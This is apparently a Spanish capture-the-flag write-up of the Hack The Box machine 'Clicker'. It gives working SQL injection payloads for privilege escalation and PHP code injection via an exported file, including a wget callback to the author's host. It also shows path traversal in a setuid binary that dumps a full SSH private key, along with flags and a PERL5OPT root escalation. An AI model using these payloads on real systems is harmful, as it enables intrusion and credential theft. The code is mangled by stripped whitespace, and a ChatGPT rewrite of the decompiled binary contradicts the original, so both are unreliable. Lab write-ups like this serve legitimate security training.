En Clicker encontramos un backup del sitio en un recurso compartido, en este identificamos una vulnerabilidad de SQLi lo que nos permitio Escalar Privilegios en el sitio, asi mismo logramos la Ejecucion de Codigo PHP y a su vez Comandos lo que nos dio acceso a la maquina. Encontramos un fichero que, tras analizarlo nos permitio la lectura de archivos y el acceso a un segundo usuario. Finalmente escalamos privilegios tras modificar las variables de entorno de un script en Perl.
Tras analizar el codigo fuente econtramos que existen dos roles: user y admin.
User, unicamente tiene acceso al juego e informacion de usuario.
Admin, tiene acceso a una funcionalidad para exportar informacion de usuarios.
Tambien, descubrimos que es posible manipular los valores en save_game.php lo que posibilita una Inyeccion SQL.
El objetivo principal es guardar los clics y nivel mientras el usuario juega. Ejecuta save_profile() de db_utils.php, donde obtiene inicialmente un array por medio del metodo GET, verifica que ninguna key sea igual a “role” (“evita” escalar privilegios), al validar esto, realiza la construccion de un query sino antes utilizar la funcion quote() para “escapar” caracteres especiales y rtrim() (elimina espacios), con los valores obtenidos.
// save_game.php
<?phpsession_start();include_once("db_utils.php");if(isset($_SESSION['PLAYER'])&&$_SESSION['PLAYER']!=""){$args=[];foreach($_GETas$key=>$value){if(strtolower($key)==='role'){// prevent malicious users to modify role
header('Location: /index.php?err=Malicious activity detected!');die;}$args[$key]=$value;}save_profile($_SESSION['PLAYER'],$_GET);// update session info
$_SESSION['CLICKS']=$_GET['clicks'];$_SESSION['LEVEL']=$_GET['level'];header('Location: /index.php?msg=Game has been saved!');}// db_utils.php
functionsave_profile($player,$args){global$pdo;$params=["player"=>$player];$setStr="";foreach($argsas$key=>$value){$setStr.=$key."=".$pdo->quote($value).",";}$setStr=rtrim($setStr,",");$stmt=$pdo->prepare("UPDATE players SET $setStr WHERE username = :player");$stmt->execute($params);}
El query ejecutado quedaria de tal forma al pasarle los valores.
Un post muestra distintas formas para realizar una inyeccion sql en ‘prepared statements’. Encontramos que es posible editar el valor de nickname y mostrar la contrasena del usuario. Hay que mencionar que, para que el cambio se vea reflejado es necesario cerrar e iniciar sesion nuevamente.
http://clicker.htb/save_game.php?nickname%3D%28SELECT%60password%60%29%23=# http://clicker.htb/save_game.php?nickname=(SELECT`password`)#= <--- valor decodificado
El query ejecutado cambiaria el nickname de todos los usuarios por el valor de password:
Intentamos obtener la contrasena de uno de los usuarios con el rol Admin pero no devolvia ningun valor.
1
2
3
4
5
<!-- worked but no pass returned --><formmethod="GET"action="http://clicker.htb/save_game.php"><inputtype=hiddenname="nickname=(SELECT`password`FROM`players`WHERE`role`like'Admin')#"value=""/><button>clicker.htb</button></form>
Privilege Escalation
Podemos agregar mas de un valor para ser manipulado o actualizado en este caso la columna role la cual se actualizaria para darnos privilegios de Admin. El valor 1 en nickname es solo para verificar el cambio, aunque es posible enviar unicamente role=(SELECT"Admin")#.
Al iniciar sesion nuevamente vemos que tenemos el rol Admin ya que se nos muestra el vinculo a Administration.
Code Execution
Como ya se habia mencionado, como admin es posible exportar informacion de los usuarios existentes en tres formatos distintos. Al exportar en cierto formato se nos devuelve la ruta donde se almacena la informacion.
Se muestran en los tres formatos la informacion devuelta.
En el codigo fuente (export.php) encontramos que la extension del archivo puede ser manipulada, y en tal caso muestra la informacion en HTML, por lo que si podemos exportar un archivo con extension .php es posible ejecutar codigo.
1
2
3
4
5
6
7
[...]$filename="exports/top_players_".random_string(8).".".$_POST["extension"];file_put_contents($filename,$s);header('Location: /admin.php?msg=Data has been saved in '.$filename);[...]
Como sabemos al exportar la informacion se muestra el valor de nickname de cada usuario, anteriormente descubrimos que es posible manipular este valor, agregamos codigo php como nickname, en este caso se ejecutaria phpinfo().
1
2
3
4
5
<!-- phpinfo(); gets executed by --><formmethod="GET"action="http://clicker.htb/save_game.php"><inputtype=hiddenname='nickname=(SELECT"<?=phpinfo();?>"),role=(SELECT"Admin")#'value=""/><button>clicker.htb</button></form>
Podemos observar en /profile.php que el cambio se realizo exitosamente.
Cambiamos la extension a PHP en repeater de Burpsuite.
Obtuvimos una respuesta con la direccion del archivo.
1
2
3
4
5
6
7
8
9
10
HTTP/1.1 302 Found
Date: Sat, 28 Oct 2023 00:03:08 GMT
Server: Apache/2.4.52 (Ubuntu)Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: /admin.php?msg=Data has been saved in exports/top_players_ynom1kjd.php
Content-Length: 0Connection: close
Content-Type: text/html;charset=UTF-8
Tras visitar la direccion del archivo encontramos que el codigo se ejecuto exitosamente.
Logramos tambien, utilizando un operador de ejecucion`` ejecutar el comando id, observamos que el usuario es www-data.
1
2
<!-- Exec id --><inputtype=hiddenname='nickname=(SELECT"<?=`id`?>"),role=(SELECT"Admin")#'value=""/>
User - www-data
Como sabemos existe una funcion que elimina los espacios y los caracteres especiales son “escapados”, por lo que para la ejecucion de comandos utilzamos una variable que aloja el valor en hexadecimal de un espacio y la pasamos en el lugar que necesitamos. Ademas como no es posible agregar una direccion IP por los puntos (.) la convertimos en decimal.
Cambiamos nuestro nickname con nuestro codigo que ejecuta con wget una solicitud http a nuestra maquina:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<!--
make a wget request, IP to Decimal (https://www.ipaddressguide.com/ip)
ip : 168431360
command : wget 168431360
char | hex
| x20
code :
<?=$IFS="\x20";`wget${IFS}168431360`?>
final:
<?=$IFS="\\x20\";`wget${IFS}168431360`?>
--><!-- payload --><inputtype=hiddenname='nickname=(SELECT"<?=$IFS=\"\\x20\";`wget${IFS}168431360`?>"),role=(SELECT"Admin")#'value=""/>
Exportamos y con curl realizamos una solicitud al archivo creado.
$ cat /etc/passwd | grep /home/
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
jack:x:1000:1000:jack:/home/jack:/bin/bash
$
# [.. .. ]$ ls -lah
total 28K
drwxr-xr-x 2 jack jack 4.0K Jul 21 22:29 .
drwxr-xr-x 3 root root 4.0K Jul 20 10:00 ..
-rw-rw-r-- 1 jack jack 256 Jul 21 22:29 README.txt
-rwsrwsr-x 1 jack jack 16K Feb 262023 execute_query
$ cat README.txt
Web application Management
Use the binary to execute the following task:
- 1: Creates the database structure and adds user admin
- 2: Creates fake players (better not tell anyone) - 3: Resets the admin password
- 4: Deletes all users except the admin
$ file execute_query
execute_query: setuid, setgid ELF 64-bit LSB pie executable, x86-64, version 1(SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=cad57695aba64e8b4f4274878882ead34f2b2d57, for GNU/Linux 3.2.0, not stripped
$
Tras realizar la ejecucion vemos las cuatro opciones, en todas muestra la ejecucion de un query. Ninguno de los hashes mostrados por la ejecucion permiten acceder por algun servicio o el sitio web.
$ ./execute_query
ERROR: not enough arguments
$ ./execute_query 1mysql: [Warning] Using a password on the command line interface can be insecure.
--------------
CREATE TABLE IF NOT EXISTS players(username varchar(255), nickname varchar(255), password varchar(255), role varchar(255), clicks bigint, level int, PRIMARY KEY (username))--------------
--------------
INSERT INTO players (username, nickname, password, role, clicks, level) VALUES ('admin', 'admin', 'ec9407f758dbed2ac510cac18f67056de100b1890f5bd8027ee496cc250e3f82', 'Admin', 999999999999999999, 999999999) ON DUPLICATE KEY UPDATE username=username
--------------
$ ./execute_query 2mysql: [Warning] Using a password on the command line interface can be insecure.
--------------
INSERT INTO players (username, nickname, password, role, clicks, level) VALUES ('ButtonLover99', 'ButtonLover99', sha2('BestGameinHistory',256), 'User', 10000000, 100) ON DUPLICATE KEY UPDATE username=username
--------------
--------------
INSERT INTO players (username, nickname, password, role, clicks, level) VALUES ('Paol', 'Paol', sha2('Yeah_What_a_Nickname',256), 'User', 2776354, 75) ON DUPLICATE KEY UPDATE username=username
--------------
--------------
INSERT INTO players (username, nickname, password, role, clicks, level) VALUES ('Th3Br0', 'Th3Br0', sha2('Brohhhhhhhhhh',256), 'User', 87947322, 1) ON DUPLICATE KEY UPDATE username=username
--------------
$ ./execute_query 3mysql: [Warning] Using a password on the command line interface can be insecure.
--------------
UPDATE players SET password='ec9407f758dbed2ac510cac18f67056de100b1890f5bd8027ee496cc250e3f82' WHERE username='admin'--------------
$ ./execute_query 4mysql: [Warning] Using a password on the command line interface can be insecure.
--------------
DELETE FROM players WHERE username !='admin'--------------
$
Ejecutando strings al archivo vemos la ejecucion de mysql y la direccion de jack: /usr/bin/mysql -u clicker_db_user --password='clicker_db_password' clicker -v <, /home/jack/queri, ademas muestra cuatro archivos sql.
[...]GLIBC_2.2.5
GLIBC_2.34
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
PTE1
u+UH
/home/jaH
ck/queriH
/usr/binH
/mysql -H
u clickeH
r_db_useH
r --passH
word='clH
icker_dbH
_passworH
d' clickH
er -v < H
ERROR: not enough arguments
ERROR: Invalid arguments
create.sql
populate.sql
reset_password.sql
clean.sql
File not readable or not found
:*3$"
GCC: (Ubuntu 11.3.0-1ubuntu1~22.04) 11.3.0
Scrt1.o
__abi_tag
[...]
Con esta informacion suponemos que esta ejecutando con cada opcion: /usr/bin/mysql -u clicker_db_user --password='clicker_db_password' clicker -v < file.sql o algo parecido.
Utilizamos ghidra para obtener el codigo del ejecutable, encontramos que por cada opcion hay un archivo y al elegir una de las opciones, crea la direccion /home/jack/queries/<archivo>.sql y verifica que alchivo sea accesible al usuario jack. Tras la validacion crea el comando: /usr/bin/mysql -u clicker_db_user --password='clicker_db_password' clicker -v < /home/jack/queries/<archivo>.sql que finalmente es ejecutado.
undefined8main(intparam_1,longparam_2){intiVar1;undefined8uVar2;char*pcVar3;size_tsVar4;size_tsVar5;char*__dest;longin_FS_OFFSET;undefined8local_98;undefined8local_90;undefined4local_88;undefined8local_78;undefined8local_70;undefined8local_68;undefined8local_60;undefined8local_58;undefined8local_50;undefined8local_48;undefined8local_40;undefined8local_38;undefined8local_30;undefinedlocal_28;longlocal_20;local_20=*(long*)(in_FS_OFFSET+0x28);if(param_1<2){puts("ERROR: not enough arguments");uVar2=1;}else{iVar1=atoi(*(char**)(param_2+8));pcVar3=(char*)calloc(0x14,1);switch(iVar1){case0:puts("ERROR: Invalid arguments");uVar2=2;gotoLAB_001015e1;case1:strncpy(pcVar3,"create.sql",0x14);break;case2:strncpy(pcVar3,"populate.sql",0x14);break;case3:strncpy(pcVar3,"reset_password.sql",0x14);break;case4:strncpy(pcVar3,"clean.sql",0x14);break;default:strncpy(pcVar3,*(char**)(param_2+0x10),0x14);}local_98=0x616a2f656d6f682f;local_90=0x69726575712f6b63;local_88=0x2f7365;sVar4=strlen((char*)&local_98);sVar5=strlen(pcVar3);__dest=(char*)calloc(sVar5+sVar4+1,1);strcat(__dest,(char*)&local_98);strcat(__dest,pcVar3);setreuid(1000,1000);iVar1=access(__dest,4);if(iVar1==0){local_78=0x6e69622f7273752f;local_70=0x2d206c7173796d2f;local_68=0x656b63696c632075;local_60=0x6573755f62645f72;local_58=0x737361702d2d2072;local_50=0x6c63273d64726f77;local_48=0x62645f72656b6369;local_40=0x726f77737361705f;local_38=0x6b63696c63202764;local_30=0x203c20762d207265;local_28=0;sVar4=strlen((char*)&local_78);sVar5=strlen(pcVar3);pcVar3=(char*)calloc(sVar5+sVar4+1,1);strcat(pcVar3,(char*)&local_78);strcat(pcVar3,__dest);system(pcVar3);}else{puts("File not readable or not found");}uVar2=0;}LAB_001015e1:if(local_20==*(long*)(in_FS_OFFSET+0x28)){returnuVar2;}/* WARNING: Subroutine does not return */__stack_chk_fail();}
Para entender mejor le codigo le pedimos a ChatGPT que nos mostrara el codigo mas limpio y sorpresivamente el codigo es mucho mas entendible.
Con este codigo, se muestra la “opcion” default del switch el cual toma como valor un segundo argumento. Esto quiere decir que por default toma el nombre del archivo que se le pase como segundo argumento, en tal caso es posible que al ejecutar el comando intente acceder al archivo especificado.
#include<stdio.h>#include<stdlib.h>#include<string.h>#include<unistd.h>intmain(intargc,char*argv[]){intargumentCount;intexitCode=0;char*sqlFileName=NULL;// Check the number of command-line arguments
if(argc<2){printf("ERROR: Not enough arguments\n");exitCode=1;}else{// Convert the second argument to an integer
argumentCount=atoi(argv[1]);// Allocate memory for a SQL file name
sqlFileName=(char*)calloc(0x14,1);switch(argumentCount){case0:printf("ERROR: Invalid arguments\n");exitCode=2;break;case1:strncpy(sqlFileName,"create.sql",0x14);break;case2:strncpy(sqlFileName,"populate.sql",0x14);break;case3:strncpy(sqlFileName,"reset_password.sql",0x14);break;case4:strncpy(sqlFileName,"clean.sql",0x14);break;default:strncpy(sqlFileName,argv[2],0x14);}// Define constants for directory and file names
constchar*directoryPrefix="/home/user1/";constchar*fileExtension=".sql";// Calculate the total length for the destination string
size_tdirectoryLength=strlen(directoryPrefix);size_tfileNameLength=strlen(sqlFileName);size_textensionLength=strlen(fileExtension);size_ttotalLength=directoryLength+fileNameLength+extensionLength;// Allocate memory for the destination string
char*destination=(char*)calloc(totalLength+1,1);// Construct the destination path by concatenating directory, file name, and extension
strcat(destination,directoryPrefix);strcat(destination,sqlFileName);strcat(destination,fileExtension);// Change the effective user and group ID to 1000 (assuming this is allowed)
setreuid(1000,1000);// Check if the file at the destination path is readable
if(access(destination,R_OK)==0){// Define a prefix for the system command
constchar*systemCommandPrefix="/bin/sh -c '";// Calculate the total length for the system command string
size_tcommandPrefixLength=strlen(systemCommandPrefix);size_tdestinationLength=strlen(destination);size_tsystemCommandLength=commandPrefixLength+destinationLength+3;// 3 for the closing single quote and space
// Allocate memory for the system command string
char*systemCommand=(char*)calloc(systemCommandLength+1,1);// Construct the system command by concatenating the prefix and destination
strcat(systemCommand,systemCommandPrefix);strcat(systemCommand,destination);strcat(systemCommand,"'");// Execute the system command
system(systemCommand);}else{printf("File not readable or not found\n");}}// Return the exit code
returnexitCode;}
Nuestra ejecucion quedaria: ./execute_query 5 archivo.ext, agregamos el numero 5 ya que verifica que el primer argumento sea un entero.
Intentamos acceder a /etc/passwd agregando ../ por cada ejecucion hasta lograr acceder al archivo y observar su contenido.
$ ./execute_query 5 ../../../etc/passwd
mysql: [Warning] Using a password on the command line interface can be insecure.
--------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
jack:x:1000:1000:jack:/home/jack:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:114:120:MySQL Server,,,:/nonexistent:/bin/false
_rpc:x:115:65534::/run/rpcbind:/usr/sbin/nologin
statd:x:116:65534::/var/lib/nfs:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false
--------------
ERROR 1064(42000) at line 1: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
' at line 1$
Realizamos la lectura de la clave privada de jack.
bash-5.1$ /opt/manage/execute_query 5'../.ssh/id_rsa'/opt/manage/execute_query 5'../.ssh/id_rsa'mysql: [Warning] Using a password on the command line interface can be insecure.
--------------
-----BEGIN OPENSSH PRIVATE KEY---
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-----END OPENSSH PRIVATE KEY---
--------------
ERROR 1064(42000) at line 1: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-----BEGIN OPENSSH PRIVATE KEY---
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAA' at line 1bash-5.1$
A la clave le hacen falta dos guiones (-), tras agregarlos logramos acceder como jack y obtener la lectura de la flag user.txt.
π ~/htb/clicker/tmp ❯ chmod 600 jack_id_rsa
π ~/htb/clicker/tmp ❯ ssh jack@clicker.htb -i jack_id_rsa
The authenticity of host 'clicker.htb (10.10.11.232)' can't be established.
ED25519 key fingerprint is SHA256:OAOlD4te1rIAd/MBDNbXq9MuDWSFoc6Jc3eaBCC5u7o.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'clicker.htb'(ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-84-generic x86_64) * Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Fri Oct 20 10:50:52 PM UTC 2023 System load: 0.0
Usage of /: 54.6% of 5.77GB
Memory usage: 22%
Swap usage: 0%
Processes: 268 Users logged in: 0 IPv4 address for eth0: 10.10.11.232
IPv6 address for eth0: dead:beef::250:56ff:feb9:881
=> There is 1 zombie process.
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Fri Oct 20 12:29:24 2023 from 10.10.14.54
-bash-5.1$ whoami;id;pwdjack
uid=1000(jack)gid=1000(jack)groups=1000(jack),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)/home/jack
-bash-5.1$ ls
queries user.txt
-bash-5.1$ cat user.txt
95bccf34c3687864a38ef2cb4f334465
-bash-5.1$
Privesc
Jack puede ejecutar /opt/monitor.sh como root y ademas manipular las variables de entorno.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
-bash-5.1$ sudo -l -l
Matching Defaults entries for jack on clicker:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jack may run the following commands on clicker:
Sudoers entry:
RunAsUsers: ALL
RunAsGroups: ALL
Commands:
ALL
Sudoers entry:
RunAsUsers: root
Options: setenv, !authenticate
Commands:
/opt/monitor.sh
-bash-5.1$
Observamos que el script hace una solicitud al sitio web, y la informacion devuelta la pasa a xml_pp, al finalizar guarda lo retornado en un archivo xml en el directorio root.
Si observamos el codigo de diagnostic.php, muestra que devuelve informacion de funciones ya definidas por PHP, por lo que no es posible modificar ningun valor existente.
Por lo que volvimos al script ejecutado donde observamos variables que pertenecen a PERL siendo eliminadas, al realizar una busqueda encontramos que es posible ejecutar codigo perl por medio de la variable PERL5OPT.
-bash-5.1$ nano root
-bash-5.1$ chmod 600 root
-bash-5.1$ ssh -i root root@localhost
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ED25519 key fingerprint is SHA256:OAOlD4te1rIAd/MBDNbXq9MuDWSFoc6Jc3eaBCC5u7o.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'localhost'(ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-84-generic x86_64) * Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Fri Oct 20 11:02:08 PM UTC 2023 System load: 0.14306640625
Usage of /: 54.6% of 5.77GB
Memory usage: 22%
Swap usage: 0%
Processes: 270 Users logged in: 1 IPv4 address for eth0: 10.10.11.232
IPv6 address for eth0: dead:beef::250:56ff:feb9:881
=> There is 1 zombie process.
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
root@clicker:~# whoami;id;pwdroot
uid=0(root)gid=0(root)groups=0(root)/root
root@clicker:~# ls -lah
total 40K
drwx------ 7 root root 4.0K Sep 6 12:40 .
drwxr-xr-x 18 root root 4.0K Sep 5 19:19 ..
lrwxrwxrwx 1 root root 9 Sep 5 18:46 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3.1K Oct 152021 .bashrc
drwx------ 2 root root 4.0K Feb 252023 .cache
drwxr-xr-x 2 root root 4.0K Oct 20 23:49 diagnostic_files
drwxr-xr-x 3 root root 4.0K Feb 252023 .local
lrwxrwxrwx 1 root root 9 Sep 6 12:30 .mysql_history -> /dev/null
-rw-r--r-- 1 root root 193 Feb 272023 .profile
drwxr-xr-x 2 root root 4.0K Sep 5 19:19 restore
-rw-r----- 1 root root 33 Oct 20 05:49 root.txt
drwx------ 2 root root 4.0K Sep 6 12:36 .ssh
root@clicker:~# cat root.txt
42f1c5327ac599d1e19da78a6f56bc65
root@clicker:~#